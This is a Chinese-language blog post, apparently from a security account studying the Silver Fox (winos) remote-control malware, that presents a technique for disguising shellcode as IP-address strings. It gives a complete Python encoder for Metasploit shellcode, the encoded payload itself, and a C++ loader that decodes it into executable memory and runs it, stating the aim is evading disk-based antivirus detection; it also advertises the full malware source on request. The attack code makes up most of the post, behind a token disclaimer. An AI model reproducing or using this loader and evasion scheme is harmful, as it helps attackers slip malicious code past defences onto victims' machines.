由于工作需要,又重新捡起了安全工程方面的知识。
最近一直在学习银狐远控代码,在银狐中很多源代码作者并没有直接提供,而是提供了难懂的Shellcode,例如主控的日志进程,就是直接加载的日志进程代码转换后的Shellcode,这样大大减少了源码泄漏的概率。不得不说,C/C++代码转成Shellcode功能一样,但是读懂真需要一定的知识储备。
银狐源码获取见下文。
特别申明:
本文内容仅限于用作技术交流,请勿使用本文介绍的技术做任何其他用途,否则后果自负,与本号无关。
由于上周末比较忙,没时间写啥深度的文章,今天就暂且水一篇吧。
本文主要内容是,介绍一种shellcode混淆机制。在本文中,我们将探讨如何对shellcode进行编码,使其看起来像IP地址。
编码器
可以使用Python将Metasploit生成的shellcode转换为看起来像IP地址的形式:
import argparse
def pad_bytes(byte_array):
length = len(byte_array)
padding = (4 - length % 4) % 4
padded_byte_array = byte_array + b'\x00' * padding
return padded_byte_array
def main():
parser = argparse.ArgumentParser(description='Process shellcode.')
parser.add_argument('--shellcode', help='Filename containing raw shellcode')
args = parser.parse_args()
file_path = args.shellcode
if file_path:
print(f"[+] Encoding shellcode {file_path}")
else:
print("Please provide --shellcode argument.")
exit()
try:
with open(file_path, 'rb') as file:
file_bytes = file.read()
except FileNotFoundError:
print("[ERROR] File not found or cannot be opened.")
exit()
padded_byte_array = pad_bytes(file_bytes)
ip_shellcode = ""
print("std::string ips[] = {",end="")
for i, sc_byte in enumerate(padded_byte_array):
if (i) % 4 == 0:
ip_shellcode += '"'
ip_shellcode += str(sc_byte)
if (i + 1) % 4 == 0:
ip_shellcode += '",'
else:
ip_shellcode += "."
print(ip_shellcode[:-1],end="")
print("};")
if __name__ == "__main__":
main()
输出如下,这些输出随后可以导入到我们的C++ shellcode运行器中。
std::string ips[] = {"252.72.131.228","240.232.192.0","0.0.65.81","65.80.82.81","86.72.49.210","101.72.139.82","96.72.139.82","24.72.139.82","32.72.139.114","80.72.15.183","74.74.77.49","201.72.49.192","172.60.97.124","2.44.32.65","193.201.13.65","1.193.226.237","82.65.81.72","139.82.32.139","66.60.72.1","208.139.128.136","0.0.0.72","133.192.116.103","72.1.208.80","139.72.24.68","139.64.32.73","1.208.227.86","72.255.201.65","139.52.136.72","1.214.77.49","201.72.49.192","172.65.193.201","13.65.1.193","56.224.117.241","76.3.76.36","8.69.57.209","117.216.88.68","139.64.36.73","1.208.102.65","139.12.72.68","139.64.28.73","1.208.65.139","4.136.72.1","208.65.88.65","88.94.89.90","65.88.65.89","65.90.72.131","236.32.65.82","255.224.88.65","89.90.72.139","18.233.87.255","255.255.93.72","186.1.0.0","0.0.0.0","0.72.141.141","1.1.0.0","65.186.49.139","111.135.255.213","187.240.181.162","86.65.186.166","149.189.157.255","213.72.131.196","40.60.6.124","10.128.251.224","117.5.187.71","19.114.111.106","0.89.65.137","218.255.213.99","97.108.99.46","101.120.101.0"};
执行shellcode
以下C++代码可用于对Shellcode进行解码和执行Shellcode代码。
#include <Windows.h>
#include <iostream>
#include <sstream>
#include <vector>
#include <iomanip>
std::string ips[] = { "252.72.131.228","240.232.192.0","0.0.65.81","65.80.82.81","86.72.49.210","101.72.139.82","96.72.139.82","24.72.139.82","32.72.139.114","80.72.15.183","74.74.77.49","201.72.49.192","172.60.97.124","2.44.32.65","193.201.13.65","1.193.226.237","82.65.81.72","139.82.32.139","66.60.72.1","208.139.128.136","0.0.0.72","133.192.116.103","72.1.208.80","139.72.24.68","139.64.32.73","1.208.227.86","72.255.201.65","139.52.136.72","1.214.77.49","201.72.49.192","172.65.193.201","13.65.1.193","56.224.117.241","76.3.76.36","8.69.57.209","117.216.88.68","139.64.36.73","1.208.102.65","139.12.72.68","139.64.28.73","1.208.65.139","4.136.72.1","208.65.88.65","88.94.89.90","65.88.65.89","65.90.72.131","236.32.65.82","255.224.88.65","89.90.72.139","18.233.87.255","255.255.93.72","186.1.0.0","0.0.0.0","0.72.141.141","1.1.0.0","65.186.49.139","111.135.255.213","187.240.181.162","86.65.186.166","149.189.157.255","213.72.131.196","40.60.6.124","10.128.251.224","117.5.187.71","19.114.111.106","0.89.65.137","218.255.213.99","97.108.99.46","101.120.101.0" };
std::vector<BYTE> convertIPsToByteArray(const std::string ips[], size_t count) {
std::vector<BYTE> byteArrays;
for (size_t i = 0; i < count; ++i) {
std::string ip = ips[i];
std::string octet;
for (char c : ip) {
if (c == '.') {
byteArrays.push_back(static_cast<BYTE>(std::stoi(octet)));
octet.clear();
}
else {
octet += c;
}
}
byteArrays.push_back(static_cast<BYTE>(std::stoi(octet))); // Last octet
}
return byteArrays;
}
int main() {
size_t count = sizeof(ips) / sizeof(ips[0]);
std::vector<BYTE> shellcode = convertIPsToByteArray(ips, count);
std::cout << "Executing bytes...\n";
for (const auto& byteArray : shellcode) {
std::cout << " 0x" << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(byteArray);
}
std::size_t vectorSize = shellcode.size();
char* buffer = static_cast<char*>(VirtualAlloc(0, vectorSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE));
memcpy(buffer, shellcode.data(), vectorSize);
void (*function)();
function = reinterpret_cast<void (*)()>(buffer);
function();
return 0;
}
小结
经测试,这种编码方案虽然不会显著改变最终的可执行文件的熵值,但有助于规避一定的磁盘检测。
好啦,今天的分享就到这啦。
源码获取
如果对银狐(winos)有兴趣,可以通过下面的方式获取全套源码:
关注后回复【winos】即可获取源码
推荐阅读

